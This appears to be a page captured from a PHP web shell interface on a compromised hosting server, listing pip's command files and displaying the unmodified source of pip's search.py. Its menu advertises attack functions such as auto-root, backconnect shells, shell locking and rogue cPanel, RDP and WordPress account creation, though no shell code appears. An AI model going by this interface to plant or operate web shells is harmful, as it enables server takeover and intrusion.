Linux premium155.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
: 162.0.235.200 | : 13.58.38.184
Cant Read [ /etc/named.conf ]
7.4.33
varifktc
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
lib /
python2.7 /
site-packages /
pip /
commands /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.py
2.19
KB
-rw-r--r--
__init__.pyc
2.57
KB
-rw-r--r--
__init__.pyo
2.57
KB
-rw-r--r--
check.py
1.35
KB
-rw-r--r--
check.pyc
1.56
KB
-rw-r--r--
check.pyo
1.56
KB
-rw-r--r--
completion.py
2.4
KB
-rw-r--r--
completion.pyc
2.83
KB
-rw-r--r--
completion.pyo
2.83
KB
-rw-r--r--
download.py
7.63
KB
-rw-r--r--
download.pyc
6.03
KB
-rw-r--r--
download.pyo
6.03
KB
-rw-r--r--
freeze.py
2.77
KB
-rw-r--r--
freeze.pyc
3.12
KB
-rw-r--r--
freeze.pyo
3.12
KB
-rw-r--r--
hash.py
1.56
KB
-rw-r--r--
hash.pyc
2.35
KB
-rw-r--r--
hash.pyo
2.35
KB
-rw-r--r--
help.py
982
B
-rw-r--r--
help.pyc
1.32
KB
-rw-r--r--
help.pyo
1.32
KB
-rw-r--r--
install.py
17.86
KB
-rw-r--r--
install.pyc
11.81
KB
-rw-r--r--
install.pyo
11.81
KB
-rw-r--r--
list.py
11.1
KB
-rw-r--r--
list.pyc
10.88
KB
-rw-r--r--
list.pyo
10.83
KB
-rw-r--r--
search.py
4.4
KB
-rw-r--r--
search.pyc
4.84
KB
-rw-r--r--
search.pyo
4.84
KB
-rw-r--r--
show.py
5.75
KB
-rw-r--r--
show.pyc
5.61
KB
-rw-r--r--
show.pyo
5.61
KB
-rw-r--r--
uninstall.py
2.82
KB
-rw-r--r--
uninstall.pyc
2.97
KB
-rw-r--r--
uninstall.pyo
2.97
KB
-rw-r--r--
wheel.py
7.55
KB
-rw-r--r--
wheel.pyc
6.22
KB
-rw-r--r--
wheel.pyo
6.22
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : search.py
from __future__ import absolute_import import logging import sys import textwrap from pip.basecommand import Command, SUCCESS from pip.compat import OrderedDict from pip.download import PipXmlrpcTransport from pip.models import PyPI from pip.utils import get_terminal_size from pip.utils.logging import indent_log from pip.exceptions import CommandError from pip.status_codes import NO_MATCHES_FOUND from pip._vendor.packaging.version import parse as parse_version from pip._vendor import pkg_resources from pip._vendor.six.moves import xmlrpc_client logger = logging.getLogger(__name__) class SearchCommand(Command): """Search for PyPI packages whose name or summary contains <query>.""" name = 'search' usage = """ %prog [options] <query>""" summary = 'Search PyPI for packages.' def __init__(self, *args, **kw): super(SearchCommand, self).__init__(*args, **kw) self.cmd_opts.add_option( '-i', '--index', dest='index', metavar='URL', default=PyPI.pypi_url, help='Base URL of Python Package Index (default %default)') self.parser.insert_option_group(0, self.cmd_opts) def run(self, options, args): if not args: raise CommandError('Missing required argument (search query).') query = args pypi_hits = self.search(query, options) hits = transform_hits(pypi_hits) terminal_width = None if sys.stdout.isatty(): terminal_width = get_terminal_size()[0] print_results(hits, terminal_width=terminal_width) if pypi_hits: return SUCCESS return NO_MATCHES_FOUND def search(self, query, options): index_url = options.index with self._build_session(options) as session: transport = PipXmlrpcTransport(index_url, session) pypi = xmlrpc_client.ServerProxy(index_url, transport) hits = pypi.search({'name': query, 'summary': query}, 'or') return hits def transform_hits(hits): """ The list from pypi is really a list of versions. We want a list of packages with the list of versions stored inline. This converts the list from pypi into one we can use. """ packages = OrderedDict() for hit in hits: name = hit['name'] summary = hit['summary'] version = hit['version'] if name not in packages.keys(): packages[name] = { 'name': name, 'summary': summary, 'versions': [version], } else: packages[name]['versions'].append(version) # if this is the highest version, replace summary and score if version == highest_version(packages[name]['versions']): packages[name]['summary'] = summary return list(packages.values()) def print_results(hits, name_column_width=None, terminal_width=None): if not hits: return if name_column_width is None: name_column_width = max([ len(hit['name']) + len(hit.get('versions', ['-'])[-1]) for hit in hits ]) + 4 installed_packages = [p.project_name for p in pkg_resources.working_set] for hit in hits: name = hit['name'] summary = hit['summary'] or '' version = hit.get('versions', ['-'])[-1] if terminal_width is not None: target_width = terminal_width - name_column_width - 5 if target_width > 10: # wrap and indent summary to fit terminal summary = textwrap.wrap(summary, target_width) summary = ('\n' + ' ' * (name_column_width + 3)).join(summary) line = '%-*s - %s' % (name_column_width, '%s (%s)' % (name, version), summary) try: logger.info(line) if name in installed_packages: dist = pkg_resources.get_distribution(name) with indent_log(): latest = highest_version(hit['versions']) if dist.version == latest: logger.info('INSTALLED: %s (latest)', dist.version) else: logger.info('INSTALLED: %s', dist.version) logger.info('LATEST: %s', latest) except UnicodeEncodeError: pass def highest_version(versions): return max(versions, key=parse_version)
Close